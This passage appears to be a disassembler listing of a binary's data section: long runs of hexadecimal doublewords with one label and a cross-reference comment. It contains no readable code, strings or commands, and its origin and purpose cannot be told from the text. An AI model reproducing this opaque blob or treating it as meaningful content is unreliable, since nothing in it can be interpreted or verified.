0CDE2F666h dd 600B9A89h, 3500EBD8h, 11AAD95Ah, 0C5DBAAEh, 7F26EC7h dd 25006A69h, 3146304h, 0D99F92h, 0CBA8500Fh, 3A5C8593h dd 6468BF00h, 456EC3C4h, 1EC94F9h, 12A713D3h, 0E67DE062h dd 1808BB50h, 0CB0F0E78h, 0C284C289h, 40A67E74h, 0E039DEC0h dd 354E0290h, 673426D3h, 1031864h, 0DBDEC96Bh, 0EE980EF2h dd 0A4D4BF65h, 6DC08855h, 40885DA7h, 0D604E888h, 24C6C55Eh dd 0C4545C19h, 0C846FC4Dh, 611C4524h, 36C6965Ah, 1DA40158h dd 95AE37E4h, 80484CC3h, 994AEE20h, 0E8FDBCD2h, 802CC7BCh dd 78D7BAB3h, 86F04CE1h, 9A28C7FAh, 0D30B838Fh, 6802D7C3h dd 0E950C61Ch, 46804214h, 54942E04h, 68FB6154h, 0A8AB60D7h dd 2858C63Ch, 542808C0h, 0FD016C93h, 0F1CAA9D2h, 5074DF65h dd 36BD0057h, 0C9FE15ADh, 2A003A1Bh, 0A1B8DDF9h, 590C202h dd 0C6B239BAh, 6C30C05Fh, 6A07ED3Bh, 84D9E63Ah, 48C363E5h dd 44268281h, 8A661884h, 0C75660BDh, 9E005E73h, 0DC38CCE5h dd 57E26E4h, 0F150258Fh, 1CBEC0F7h, 68A18B54h, 5DC86091h dd 5402404Ah, 0C09068D3h, 0C8677FD8h, 0DA04B2C8h, 88524F7h dd 66BB98C0h, 1D5D13CBh, 0F200083h, 0CDDF7DAEh, 4DC4CE59h dd 973C4D1Ch, 42B82404h, 1C20ACE5h, 0FFDF1901h, 0F180D196h dd 48042A48h, 3C863290h, 52FD4B68h, 0F07C40A4h, 45E0312h dd 24D4F351h, 5433DE84h, 1ACA811Ah, 10B7FBD8h, 0D8EBC402h dd 536F1C00h, 99D03ECFh, 3A15B201h, 8A2BCCD3h, 0E4401A98h dd 0C0081B17h, 9DE0683h, 0D2405944h, 90656F14h, 0F0C0F347h dd 8DDF171Ch, 6C047E4Bh, 191F743Dh, 1585100Eh, 18A31800h dd 146C62Dh, 6F1AFD3Dh, 0E19582CEh, 0E7084055h, 0D9609E65h dd 845E01B0h, 0A480D523h, 0BCF35D0Ch, 94019310h, 0D8C1E603h dd 0F242C6ABh, 59B050DCh, 0D2896845h, 0DAD08418h, 7DF450FBh dd 8500AE68h, 3B4BD8Bh, 77A30A3h, 231D0F62h, 95F31029h dd 6A2565BBh, 20080A12h, 85C9942Ch, 9041010Fh, 7965FDBDh dd 0B1C16C2Ch, 400D7DDAh, 0CE8CFEB0h, 0E5515912h, 0CC070C52h dd 0BFC29A05h, 28647B2Ch, 1D22060Ch, 76066981h, 29C099Dh dd 11B3040h, 0E0C79E36h, 0F9D499B3h, 0CA320120h, 46167BA0h dd 60507DCh, 0CFD364B3h, 10168844h, 16099124h, 66B00113h dd 0C36AF688h, 6010D0D2h, 972406F3h, 98502E08h, 12F2F87Fh dd 6B1FD08h, 6CD83203h, 16259440h, 90B44680h, 51EC2078h dd 21040979h, 86BFF362h, 3D0FCF4h, 0E084F520h, 8185AFA5h dd 284E6EA8h, 0FE3AB058h, 147F5AD7h, 2C2904A0h, 72426F0h dd 504073CBh, 0A3D339C5h, 0A6988FF1h, 6902209Bh, 0F73BB6B5h dd 389F182Ah, 6673C2CDh, 0F799516h, 0DC376016h, 81D4E3C1h dd 0D903102Ch, 0A66045DDh, 70E7BC89h, 120F3571h, 8274ABh dd 3A96EA77h, 236A0202h, 0C51FB65Eh, 5D10CC44h, 20044B2h dd 0D9E772C0h, 2701AD85h, 5E9B34F0h, 0A8202824h, 6E680C33h dd 2DA03BCDh, 0F370AB01h, 0FE887B5Ah, 2DEDD474h, 741095DEh dd 80E09C57h, 4B3F91Ch, 290EC981h, 19705DA6h, 0FB78C024h dd 0D5A31C67h, 0F4AED026h, 6473BD07h, 0EE470C0h, 45FE00ACh dd 9FF5D3Dh, 0C8927B8Fh, 65E80880h, 70A0C94Ah, 15E273Bh dd 6E7B9C40h, 0BB1D377Fh, 0CCFE4002h, 0D9BE3F1Ch, 0DACC00C4h dd 45A1B6B0h, 5BC57799h, 13E80482h, 88DC8404h, 8C068090h dd 0F38DD363h, 0BA740210h, 0F0EC07B1h, 4641FB81h, 0A4E9F051h dd 89029800h, 0B7D5A2DCh, 1680FC86h, 451F6066h, 0C0D840A4h dd 9FFB852Fh, 13EF2A0Ah, 1D00E0FDh, 0FCC6DE70h, 0F56E278Fh dd 82CFAC00h, 0B80C0267h, 0A02CB5DAh, 9C96173Ch, 0C8B40BD0h dd 42D41869h, 88408458h, 0E92D65E6h dword_4E414C dd 0B0FC9290h, 2A315DE0h, 1DC0C864h, 0CF6C914Ah, 6A0927AEh ; DATA XREF: ___:off_43A190o dd 5C31F0C4h, 73193196h, 0ED9430h, 0C7BE413Bh, 0B35446B2h dd 84BA0C00h, 9833C3FBh, 4D6EEC8h, 6E65E56Dh, 19D48CF7h dd 4E811094h, 0FB65EB44h, 0EC305038h, 859DC471h, 0B80350B8h dd 86F11408h, 6820F293h, 305E2F9Ch, 0E5E8A773h, 0DF726D8Dh dd 28B9CA78h, 0B1502B03h, 7792D036h, 24A0E638h, 3B656h dd 0D47507C2h, 2114C6A7h, 130869FBh, 0BCC8CCFDh, 200892FEh dd 989346F9h, 663C9825h, 0C55206A6h, 108B4E7Bh, 6CB8F155h dd 0CEE0783Ch, 4DD510C0h, 0E8D6888Bh, 408F06FDh, 891CD59h dd 6E10F105h, 0E41EA80Ah, 4E5A22CCh, 0B86F51D1h, 4E31D473h dd 81586A59h, 0E570AE78h, 3CFD8AFDh, 8B40093Fh, 0C840BF0Fh dd 0D334C61Bh, 0D8D4C932h, 81DC763Ah, 83DF5DC5h, 241420D1h dd 5BD0BC61h, 0F0EA2F6Dh, 0A5CF03A4h, 668176F1h, 3826179Bh dd 0A927EADEh, 0D394607Ch, 58A06406h, 2ED4B60Eh, 982D34E2h dd 245DFDC8h, 0A43C5CE6h, 238C0094h, 2CDF137h, 8D0B1790h dd 4053EA0Ah, 0CEE25400h, 6AA00C38h, 45741802h, 67DA4100h dd 5E9763D9h, 0F9BC63CDh, 6FC13878h, 1C1089BDh, 0C00CE9A6h dd 4D4CC12Eh, 4CF46141h, 3D40F070h, 34016BD0h, 867FAD00h dd 18481BD8h, 0FF2309CCh, 0D5AC8193h, 0B0627B54h, 0A4207D89h dd 0AB1865E3h, 74B68C9h, 0A9F6E774h, 3CD8F979h, 3EF00290h dd 95C8EDACh, 6E24400Bh, 0E848FBh, 1D8E4F76h, 0E09125C0h dd 80E20454h, 0D0476E82h, 0B22ED884h, 0FE8D0E80h, 0EC82D6CCh dd 0B1B480B9h, 316EA1BAh, 6568A62Ch, 1948C8BCh, 368F50C0h dd 28385FBh, 0EDC81297h, 50A02F96h, 0AC812958h, 9D25F41Ch dd 0AE54450Eh, 9AB300B1h, 1E63876h, 5C0CE1BCh, 0E186FE21h dd 160840D4h, 7E263D4Ch, 8B014CB0h, 8D97A9B3h, 0FFC8C085h dd 703450FEh, 1B06653Dh, 0D97FDF30h, 0CB1CB0B2h, 906E9BDAh dd 41E26B80h, 98B5ABDCh, 0F44A8E0h, 39EA206Eh, 0E66B909Ch dd 0B8B22570h, 20966444h, 0DBC1FB60h, 0B38D2688h, 16084814h dd 3A801FDh, 34BA446Eh, 0E975D9BCh, 120737EEh, 0F854DF3Bh dd 40E7B2E0h, 7D04306Eh, 0FE2DBC89h, 193DDC00h, 0ABBE5D46h dd 0FB750336h, 1FD54A74h, 0E456C688h, 63DAA900h, 4EAE158Fh dd 0C0B20F37h, 0CA87EB99h, 0ED25C0A3h, 0D0AA1C1Ah, 2E1EC880h dd 0AC2E8C50h, 0F240F095h, 26DF6845h, 0B190181Ch, 0FC4729F0h dd 7200941Ah, 8822466Ah, 98D718EBh, 7EF50190h, 0DC6DF06Bh dd 0A560B88Ah, 0F9DC83B8h, 0E6481742h, 90A04B45h, 604284E2h dd 30015DC3h, 0AE1207B8h, 1C30495Bh, 0AC8891D5h, 1748A4D4h dd 0ACC4491Bh, 8403AC85h, 28F03189h, 25208477h, 0DCA42FC8h dd 786E4159h, 1BC20054h, 0E55DC646h, 73FB806Dh, 0E9D5081Ch dd 0F95C9CBEh, 7B699380h, 9A296E7Ah, 0BACA00B0h, 8B7A9D2h dd 36050D1Eh, 0F2646644h, 4A48548Ch, 12348BA4h, 0BCD07F80h dd 902AB45Dh, 905A1BFCh, 3804D106h, 0DF35A3B3h, 0EAEA7CE4h dd 4D273868h, 0E1659E12h, 0E108042Ch, 86786990h, 3770C7C1h dd 7008ED14h, 7762CBC5h, 3E24544Ch, 21FE1215h, 0C030053h dd 2EB9656Eh, 1E52CE0h, 0EEB9EA4h, 93FE70EDh, 8ECEDA00h dd 1F5BAD83h, 0CF8A0B46h, 544447EBh, 0DC1FFF4Eh, 2B03AB90h dd 0A74F3F95h, 8C0C382h, 730915BDh, 0ECA690F0h, 127472F8h dd 0B0CC53DFh, 2F40D0D0h, 51397012h, 302B1496h, 0A404B36Ch dd 8B9CF700h, 0D36168BEh, 148BC75h, 0F0DD7CFEh, 50286710h dd 0F6741644h, 0EB65309h, 3C3C04D6h, 0A47ECE04h, 4E241290h dd 1127E442h, 0FD085A60h, 4A28490h, 0C8068C48h, 81F53A06h dd 2EB17246h, 0AC7CF86Eh, 0A3660551h, 4864F09Ch, 6E087E0Bh dd 0CAF0C039h, 0CA29570h, 0C80BD98Ah, 8225759Ch, 50B03C44h dd 0D5F9DE00h, 7DE49C90h, 5932038Ch, 0C965BF57h, 445C0892h dd 0AD584500h, 90BE5E16h, 0FEB70144h, 26041BBFh, 0E612CCD7h dd 8E4777Ah, 6E45F715h, 0B5DE84B4h, 41DC58B4h, 91CCC497h dd 0CCB60DF0h, 6F472C01h, 18644629h, 5AD27965h, 49C467DCh dd 0B6585C52h, 4BEA8428h, 5D84CCB8h, 0A1024080h, 1ED0E75Ch dd 80594569h, 78658374h, 67165010h, 8A018C02h, 249789D5h dd 0F0986CE0h, 0ED7409CDh, 68988A82h, 2125456h, 35094266h dd 7830E645h, 0B16B00F1h, 0BADE3CEBh, 0B600DF23h, 0C139E75Dh dd 4ABB96CCh, 7F0480A6h, 35F488D6h, 1CD0FE12h, 88902874h dd 5C7CF7A2h, 9018C882h, 3A46084Ah, 3BE80709h, 6C8C80DAh dd 304350DBh, 9B5860C6h, 0BF005BD9h, 15C0E59Dh, 0A21B96C2h dd 0C5A8689Ah, 3FD31969h, 68A614C3h, 17F4578Ch, 880BC27Bh dd 0F068D0FEh, 2C89892h, 0C679D2E7h, 80D0D7DAh, 0F8A269F6h dd 56170059h, 1D00F0h, 2BB10F1Ch, 0D619729Eh, 0C5EA2504h dd 18E88B08h, 0BABAB61Fh, 6126E4D2h, 0F0996434h, 0B95BFEACh dd 0EC03F00Bh, 3A689148h, 127E2491h, 1022C3FBh, 0D248633Fh dd 0C4904BEFh, 0BFE250A0h, 65FD1480h, 0ED17196Dh, 283442DBh dd 0E53DC8F3h, 0D1830F13h, 93F7F2A0h, 0EC1FC169h, 0AE6E7B03h dd 40405C60h, 50582C78h, 4EBD80ACh, 7E59799Dh, 0AD7B9000h dd 0A95E170Fh, 261C914Dh, 85EC1388h, 5C4CCBD0h, 4C104A38h dd 0F84B8C70h, 0FA17784h, 0DB2211E6h, 25A63080h, 6E0B01CFh dd 0C8FEE499h, 16C939B8h, 446A65EBh, 0B821C528h, 0A3FF50D8h dd 28C76E1Ah, 91071B8h, 0AC01F37Bh, 81ADB8D3h, 0C9B94778h dd 133A27DAh, 2EB00274h, 8098FEB1h, 0CA8020B4h, 9CAB5090h dd 0C84F2085h, 0A1686C00h, 1A6DF453h, 82C9804Eh, 5E7B02F6h dd 0BC14E25Ah, 20F847A4h, 43A075FCh, 1682121h, 0AE5E72DBh dd 63E460F9h, 1118F760h, 331C6723h, 0B88A1B5h, 0BFBA5007h dd 0B80C346Eh, 7D92582Fh, 75DAA50Bh, 1B006CF0h, 512B5DFh dd 1D1C3FC5h, 57AD16h, 9A7D4F11h, 0C802DF70h, 666E191Bh dd 84F8AA46h, 0C4571562h, 0CE9D0528h, 0A16C3A1Ch, 0F45CC6A4h dd 0C44F6F8Bh, 0B24EF038h, 0E35A54h, 412F118h, 0E2030AB6h dd 68351DAh, 90EBBF6Eh, 0EE6A168h, 0BB743233h, 8813D0A0h dd 461675C1h, 0B700C9AFh, 0F68CE095h, 0D55C0045h, 0D3814340h dd 90A8FED8h, 8D123BEDh, 0B4560C23h, 0E835CC5h, 35C03BF5h dd 0E861F9ADh, 147C701Eh, 3C243CB0h, 202806Eh, 0D9B2D5DFh dd 182B2DA0h, 4C51DC62h, 6E6C814Bh, 212B19E0h, 63DD0170h dd 71C01258h, 3C24B002h, 0EB886018h, 3693A9Eh, 0DAB8DC09h dd 41C35C18h, 484C3C96h, 0DF9D07CCh, 490803DEh, 0C5008029h dd 5B7A65A5h, 303CB8C0h, 1D8740DDh, 0AF57D378h, 3D6EE801h dd 0DA602424h, 0C94A54Dh, 0C06150E7h, 2D9D246Dh, 8BD3E194h dd 3828ACAEh, 0AF6B540Fh, 0B7012386h, 1679E099h, 40849636h dd 0E3FE8893h, 0B8B0266Eh, 5B9AEDA0h, 3C60205Ch, 130011DFh dd 7DE8D083h, 9991A74h, 885DCD89h, 0E36C8755h, 34A400CBh dd 3C53A490h, 0FD077E63h, 40C8E775h, 57C61674h, 2065E40Ch dd 1439C086h, 0D814045Eh, 8C77DECFh, 43265DC0h, 0C953A8ECh dd 222EE38Ch, 0E8901D24h, 5000D5E5h, 0A6561CF7h, 2F555E80h dd 0A494C5DAh, 49EEFC20h, 932970E6h, 748808F8h, 9F3C3305h dd 0BB0138C1h, 43FB5E10h, 820BA57Fh, 9E7FE87h, 3CE4707Dh dd 1C5D6E1Bh, 49149D2Eh, 0E6102C78h, 287902C0h, 50588B7Eh dd 2901B8E3h, 80C036E4h dd 90925F5Bh, 0BC625E03h, 0E09610C1h, 2E7F0218h, 324F59Bh dd 4D82757h, 663951E0h, 58FE9130h, 0B87A14C7h, 0B8EF6132h dd 6280DB6Dh, 11444004h, 2BAF6E10h, 7162CE3Ch, 4624650h dd 879FF471h, 1827D20Dh, 9016C021h, 0FC8C20F0h, 0AAE7CE01h dd 2CA6726h, 8C24DDD1h, 0D0BE4EE5h, 235B11F4h, 8476D325h dd 90D18488h, 0E0301AFCh, 4EC5251Bh, 364CF466h, 0DF1B0BCh dd 1185055Ah, 0C75FB032h, 0F0D0E317h, 375E8FA0h, 75DCD24Dh dd 47B5E600h, 7D4886C8h, 0BB8C007Eh, 25D742F7h, 460103A1h dd 0D9FAEA60h, 4C59AC9h, 95373C34h, 3404FC0Bh, 3E88A680h dd 5E418E89h, 0C9C84975h, 0C2C0CDB8h, 2EFF25C9h, 2A2D6C44h dd 3D7C0059h, 0EE95FDEAh, 0CBE5C02h, 7DACE0D3h, 0F2C2C741h dd 965C0308h, 4D9DBD2Dh, 0CAF5C9C3h, 0B1D3098Ch, 862827A4h dd 0C1E62BA2h, 24F863D1h, 5892C6h, 0A7B98221h, 0CB68C2ADh dd 3BD0E501h, 468FAA0Ah, 0F5E25EF4h, 16E35080h, 0F646D45h dd 0CBFF3600h, 0DE5E9046h, 3440BCB6h, 735C0840h, 69972A0Ch dd 64CA860h, 43F094ADh, 0ABE867FBh, 9CB6DA8Dh, 4808BF14h dd 133E7E44h, 4A4EFF64h, 71E758A0h, 4D58C9B4h, 987AAC09h dd 66D1BD13h, 7D1CC8B4h, 0E627436h, 0D325DF06h, 861E6D02h dd 5E18C06Ch, 0ECC0D679h, 8D6906E6h, 0BE37E4C8h, 0C0F44CABh dd 0F096CE3Ch, 2861BA00h, 0E3CF8BFEh, 5C852865h, 0F04061E0h dd 0D831901Bh, 0D760A4E7h, 3A5D9BA1h, 48DF7C12h, 9C011842h dd 33771C8Bh, 14042E69h, 1EFC666h, 814184A4h, 67B04325h dd 859D04E1h, 803D4B48h, 27D348E0h, 0DC8B96F6h, 0ED3524EEh dd 54801160h, 60106E66h, 91CF1054h, 7CBADF67h, 0A15E300Ch dd 3C02E0EBh, 0BB2C9868h, 0C1FB808Ch, 0BA10CE9Ch, 2831AE3Ch dd 3050869h, 0B4D2DAB2h, 5413B402h, 0B998CE63h, 3CEC0B8Ch dd 0F76D9468h, 924944Dh, 583165EEh, 84D55CE8h, 7833B022h dd 78ADD85Dh, 0A45825BEh, 0B0F090C4h, 0B67421C0h, 5357AC5Eh dd 184C34C8h, 0C4E8EB08h, 4FB8A114h, 0C08C4835h, 0AE5D1D9Ah dd 5391D7B1h, 500C18FCh, 6E388A93h, 14314A9Bh, 0E43D354Ch dd 9C44CA27h, 0D8E1E088h, 0C1F8139Fh, 0C205AD4h, 9CE45937h dd 24C36D0Bh, 25764880h, 1C7461EDh, 0C938E2B5h, 0FC437A54h dd 70F82A0Bh, 889A00F0h, 0FDE97C91h, 0C67C19D5h, 35A4D317h dd 0D437B0C2h, 577CC3E0h, 0D0467830h, 6312E4h, 73CA39E7h dd 4A90E23Ah, 3389FB03h, 0B70AECh, 0BA6CC111h, 5CC63DB4h dd 5D4C01B7h, 60335BEBh, 0FD259059h, 0AB584B8h, 0A6812494h dd 2FCCE8Dh, 94400C3Ch, 0D4C459B2h, 280EFA18h, 0CD1D9DBBh dd 948E02A5h, 0D54DC012h, 4DDDDF5Dh, 0FE3CB08Dh, 0C858300Bh dd 0FD027073h, 71E7AEDEh, 81123C3Ch, 101CE37Fh, 8B0F1DFBh dd 0BF0B6E87h, 46FE4085h, 119D5BE4h, 3265D312h, 6231BC43h dd 72DEB0BFh, 0A7021637h, 7CDF00A4h, 0FFAD7E9Ah, 0C3EBA82Eh dd 0DB928F05h, 3420DCE5h, 0A59A1E03h, 5B42679h, 80203B15h dd 0A368CB4Ch, 7DF52B03h, 0B84DAB96h, 0BC3D5DA8h, 6C0202B4h dd 20E09EECh, 4D80CEE3h, 176112A4h, 942CF2FEh, 5CC82274h dd 0F01944Dh, 35EB284Eh, 0C51980ACh, 0FED5B36Dh, 0CEBCA8CFh dd 0DEFB2CDAh, 888C9704h, 795CFEB8h, 0DB0400CCh, 668D68CDh dd 88D261FAh, 2BD341B5h, 48AE5092h, 0D6D5C8C8h, 0DAF40211h dd 54426D4Fh, 8B860C0h, 74DD0345h, 0ADD034h, 0FEED8F56h dd 0D9028316h, 0D7AA6212h, 5A48F8B0h, 0B59C42DCh, 4C609DBAh dd 68BA1110h, 36502804h, 0C0E2D2B9h, 0C8C2E785h, 9FF866ACh dd 0D3102195h, 4824A2A1h, 0FF88FE8Ch, 44904F2Fh, 0C6900012h dd 29C3FB53h, 23D9413h, 30AAF80Fh, 4B65E709h, 4C0704F0h dd 0D202E94Fh, 0B2E2F870h, 98504C5Dh, 50C4C450h, 11805Fh dd 0BD866722h, 0A6292E9Eh, 7B7AAC7Ch, 499A0200h, 0C2C01D05h dd 79BF0766h, 30E5CE77h, 555A7887h, 677E3100h, 1716F0FDh dd 0D920205Eh, 6CA6D49Ch, 1513DD10h, 3B80C039h, 6509A0FEh dd 5181A59Dh, 200C2028h, 0BEA442h, 9A9B1889h, 0ED84C50h dd 0F9E7C0E5h, 79F8887Bh, 0F10907BCh, 0A02DDACCh, 6272BEC0h dd 0BBA132FBh, 0AC601A24h, 21FCC228h, 6E697B04h, 41BF1738h dd 9E596800h, 3338201Bh, 5E65C512h, 71012C49h, 0C212B908h dd 411453A6h, 0DF7F0BFCh, 0C7BC8D6h, 90BE7CB0h, 4AA0B342h dd 0EF987EBCh, 20C80036h, 0E45DA3C3h, 13DD4BCh, 0D351D66Dh dd 0D440601Ch, 90427265h, 43089400h, 0CCE1C29Dh, 5DE6E005h dd 0F49F5327h, 0F2840748h, 0E9B40F7h, 0F81F7AB3h, 220CDD29h dd 0F258C85Dh, 17D70030h, 0F34BAA67h, 80E44E52h, 565FEA00h dd 12BADC9Ch, 0A8880160h, 0CAE77186h, 1A0C4EEh, 9CF89Fh dd 0F915545Dh, 0E09CB29Eh, 84B2F28h, 37273598h, 9D20FCE2h dd 7AB5039Bh, 880062EDh, 0A5664BF7h, 61C34DBFh, 3CC550B3h dd 1330801Ah, 0BD63EA88h, 664131BFh, 0BE3A3908h, 37516090h dd 0CBD413C6h, 0B88011F0h, 0CEF41FDEh, 5033B530h, 1D03865Ch dd 0CEAC516h, 0CEB82CC0h, 20CAE130h, 0C926FD3h, 2E54C6BCh dd 9F001B78h, 811A3309h, 0DF95A367h, 0F0790F28h, 5056B879h dd 0AE199F68h, 0B511E400h, 0EC011A9Ah, 0BF6E06EDh, 3043237Ah dd 0C6B09C06h, 148E75Ah, 35A7CCEFh, 0FDCEEEE3h, 5F608025h dd 96C9F7Eh, 498418B5h, 75D2A90Ah, 0EE59A00h, 453BFA8Ch dd 234F03E9h, 0D8C4EF49h, 0E8F77AC8h, 0B70090DDh, 0CF37B501h dd 58326216h, 0A081AD63h, 9FC2EF45h, 9C01980h, 3AF27766h dd 0CEB7039Ah, 59E741E4h, 0D16C0295h, 786384EFh, 0E9719AC0h dd 6EEBB404h, 308896BDh, 17A4A11Eh, 1A399840h, 1831E8A7h dd 0F85D617Ah, 5E00C592h, 7C3BA580h, 0C366F208h, 0E947B1E0h dd 9EC0F4DBh, 0F171FDA7h, 86B47918h, 14CFCC38h, 0B417A3C6h dd 9D70373h, 3ABFB568h, 0E9A005C3h, 0F7614AC5h, 0A26780D1h dd 497AD44Ch, 3C1880E4h, 0C969C0C1h, 2249501h, 0CF944801h dd 0BC108271h, 50DC9F55h, 7C7480BCh, 7191052h, 0C0813ED4h dd 3EF7E212h, 38F4B203h, 1112FA24h, 6E442087h, 8414B4E1h dd 1DC35E3h, 0A4EECB16h, 0E1F73BD7h, 188367ACh, 367C5E43h dd 0EBDDB412h, 0EE2E00EFh, 2653DE0Fh, 5F58EA64h, 12300025h dd 0E4060186h, 84CEC50Ch, 31B8A3h, 8E2C714Eh, 0C4DB1C9Ah dd 1640E207h, 0E594565Eh, 0D4C39200h, 0CB795C6Eh, 0C059E600h dd 66A3A0E8h, 0CDB700A2h, 9091F216h, 8A0CA67h, 8091CF1Bh dd 0F454E1C0h, 0CDD00252h, 0B3E4C62Eh, 9BFC0A0h, 0CCA19560h dd 9D02639h, 22ABCA4Dh, 33E30ECh, 3040AF1Bh, 0CC0066BCh dd 0EF9BAD31h, 17193B1h, 6EEEB519h, 415E12C0h, 40A06624h dd 5A9AE344h, 0F6280178h, 0F709BC74h, 2C2204CEh, 90708878h dd 0F29A3884h, 38842C05h, 0A1E401C0h, 0C8890B69h, 6700545Eh dd 0C4A5B2CEh, 18EC38BFh, 70DFD01Ch, 0A73644E5h, 0A4B0E1FFh dd 58674C3Ch, 95A16805h, 1BD80A2Ah, 1A430980h, 52C68401h dd 0C4388999h, 0F78C03B7h, 79881326h, 1C7C4E0Ch, 0E1E4F960h dd 8905DE0Dh, 12012226h, 9E68FC30h, 3988F795h, 0F51F0C7Ch dd 1C92C601h, 0A980E1D2h, 0CEBFCD65h, 10C0B517h, 0B0EE2C99h dd 92D60B3Ah, 0C400D4BBh, 87EC3CABh, 0F19E61E7h, 8445C494h dd 4C7CE424h, 0F72E4B03h, 0A336A3F9h, 3233C3F0h, 0E89912B8h dd 0E73B802Fh, 0C1682184h dd 5EC64438h, 47EC4036h, 0D5380E01h, 76CE8BECh, 551024A0h dd 0C11C18C8h, 4D0DCB50h, 988EDA03h, 38A7E8E1h, 66DC4106h dd 30E423C9h, 70F479BAh, 1EB400F9h, 6991E1AAh, 5713603Fh dd 0BC016C9Dh, 0F7010A26h, 82190FDh, 48368020h, 2E0C8473h dd 9C819D4Ah, 24ACB360h, 600EC6CBh, 8511B813h, 0E73F5894h dd 7AB605FEh, 0B8003F6Dh, 0C173D01Bh, 0ECF2670h, 7D5E8AC4h dd 5241368h, 90167AF8h, 0E3CF5CACh, 9D55E203h, 0EAD86EB4h dd 0F1BCC1AEh, 5EC8318Bh, 401ED019h, 9C719E4h, 917C9A50h dd 94718526h, 0C26EF004h, 9966A898h, 38179874h, 0AF671839h dd 351F7A08h, 10AA24B4h, 8450214Eh, 0D84014DEh, 99FA9Eh dd 0AA94F98Ah, 0C1F0D4A4h, 5E3F6312h, 65F6ED00h, 0F0A69C96h dd 8408A07Ah, 50F569DFh, 0DC0574A9h, 134409A1h, 0C5658482h dd 0C7704440h, 92183A80h, 21146A80h, 96360C9Ch, 3F0BE0AEh dd 2021447Ah, 0F938C390h, 102C6413h, 48AC8224h, 84186464h dd 0A6C02B6Fh, 40975CC6h, 833FA800h, 0F66A0E39h, 0EAAC6E01h dd 6A6A3F1h, 2EC664F0h, 0A10CCF03h, 0D0CE84A0h, 1C4204C0h dd 1A2D4080h, 664E127Bh, 0AA85605h, 4EA0A234h, 6D048E81h dd 0FE2DF0ECh, 9CA7BB01h, 8095C6CDh, 1CE96083h, 3BE024D5h dd 7A1832F7h, 0C8C9077Ch, 803D72C6h, 0A4B065B9h, 0A4A064A4h dd 188141BAh, 284B6434h, 20A49D68h, 0A898B544h, 0C0DD9330h dd 0A06840F5h, 146638B4h, 54A91C74h, 2C52C458h, 1C74222Ch dd 0C6A787EDh, 9E676094h, 4B00CF8Eh, 0D9CD825Eh, 4963C243h dd 3448A0E5h, 2B401326h, 0C834A4D8h, 9A4B008Ch, 0B6CEF6C7h dd 66D08150h, 0A6036E11h, 50096476h, 54DB23EAh, 87F81CB0h dd 0CE70EC2Ch, 280C6034h, 54F07A36h, 0F007A8A2h, 0EEDBC008h dd 0D7403144h, 1349019h, 0BBBD3E98h, 70661224h, 0F0099BEh dd 0AF63C867h, 3C87F0F6h, 9230696Eh, 0E4D49848h, 88C6321Eh dd 84E00CA0h, 99C80C41h, 0DB43E603h, 0C1E9C015h, 0A47168BEh dd 19946008h, 1148CEA4h, 56749937h, 0C04526A8h, 1650CC83h dd 1170F310h, 7909FC6Ch, 10286507h, 22F813BCh, 68C9EF50h dd 94A0431Ch, 0AC1B692Eh, 0C2CC5E14h, 0E6ECB803h, 4DF0003Ch dd 4E1AA540h, 882E623Ah, 731D042Bh, 8E96EB8Bh, 0E9978010h dd 0A79661Fh, 7287CEF8h, 290A01E0h, 60EC7CB9h, 5746EF0h dd 0A666E800h, 0E0F3F99Eh, 0ED840751h, 0A0C5525Dh, 0AD9CFB31h dd 1EEA3600h, 6579DFA6h, 68E9C083h, 5C8495CCh, 48A45051h dd 313E3C68h, 12DB18F0h, 0C66618h, 5C97C545h, 9E3F68C2h dd 5C4765Ch, 571F7AB2h, 44AB9492h, 160F4040h, 0CE1F3090h dd 77FC0111h, 0A270DC40h, 0F67C4C9Ch, 10F94954h, 47F4E282h dd 2B5E3CC0h, 0D1F00600h, 0B4D5C066h, 10E84801h, 0A41850h dd 1202A1E6h, 0E0BFEC8Eh, 390F1C05h, 44989FB5h, 14042AF8h dd 186C98E4h, 100E4C7Ah, 1E728654h, 0AE1E0A7Fh, 0B6C06C88h dd 6BA98C12h, 0CF7A09E1h, 44A028A6h, 0B7EB013Eh, 4BF1021Eh dd 80C2E28Eh, 0DC1CF723h, 0E0C44866h, 0BD16CB08h, 8C698700h dd 748B9243h, 0B8961844h, 0CF731041h, 6C009E4Ah, 7728999Ah dd 8DC20027h, 0F563DE44h, 1C2EBC6Eh, 0CE42C0B7h, 65D0E990h dd 669ED442h, 57C7228h, 9CDCC344h, 0B98C4B0h, 0C8B1F408h dd 0C6508517h, 0A882378Fh, 84071F8h, 6609EAAAh, 8AFC19A4h dd 96CD63ECh, 0E0CE41ECh, 352080DFh, 0D0139392h, 24D1C01h dd 49D3D7C6h, 0BC8F23FCh, 0F613FEC8h, 3E13443h, 68692E3Dh dd 6D840420h, 0BF48D071h, 0A0B15D12h, 0AFC99F90h, 0AD062C68h dd 41D17A14h, 0E9A01AE0h, 0CCCC4931h, 0E8C382E3h, 80CB72F0h dd 43025D11h, 0CEE7100Dh, 94BCA063h, 0C28E4D1h, 715CBA3Eh dd 0C7308440h, 337B50F8h, 0CD824F9h, 794E631Ch, 20EF21D1h dd 9A054A78h, 0BCC64D5Bh, 791BA44Ch, 89D5520h, 2D1AE010h dd 446B24F0h, 813E9284h, 89536DCh, 25583079h, 0D09DEB70h dd 30CDA400h, 2484690Ah, 621A04A9h, 0E08D76CFh, 0FC9B5934h dd 0CE04CCACh, 5E12A414h, 0EBF30CE8h, 0F478C111h, 0C2EEC20h dd 58627A3Bh, 7EB0FA70h, 80B24870h, 64438909h, 50D04AC5h dd 0F6E700C8h, 84EC3C38h, 0DCA05F36h, 0E90A3135h, 0E4461C03h dd 54139CA6h, 97FC88h, 0F3F5AE8Fh, 0E4C85CDAh, 0EE7D5100h dd 0D01C6BD3h, 7BDB2EF1h, 6080396Ch, 0A0C20EA4h, 5D3B1986h dd 0E6AD85E8h, 8008758h, 0CEF5EEC5h, 881E4806h, 0E1DC0BDEh dd 0C4401892h, 0CA40EC45h, 6010C119h, 976E9F7Dh, 1C30F0D0h dd 99D1BCC5h, 0EAC68640h, 0D20910BEh, 9260F284h, 967CEE90h dd 8FC26D0h, 0FA07E72Bh, 0D04A25CEh, 777DC606h, 9B0B128h dd 0BC0503E8h, 249C8110h, 7BDD000Fh, 5FD1011Ch, 67E8FBC0h dd 0C6067BDh, 60C26279h, 0C4E600F6h, 86F73296h, 3776F897h dd 74204E4Ah, 16923AD0h, 1BC6406Bh, 0FC0187Dh, 0E300E10Ah dd 9B1BD556h, 638E6C0h, 0FDCEA3B5h, 989468C8h, 0C6370160h dd 40A3616Ah, 0A6EE08F8h, 19018461h, 0E6C63874h, 3EC2182h dd 8E8E2CBh, 580B4C8h, 26C496EDh, 58F053C8h, 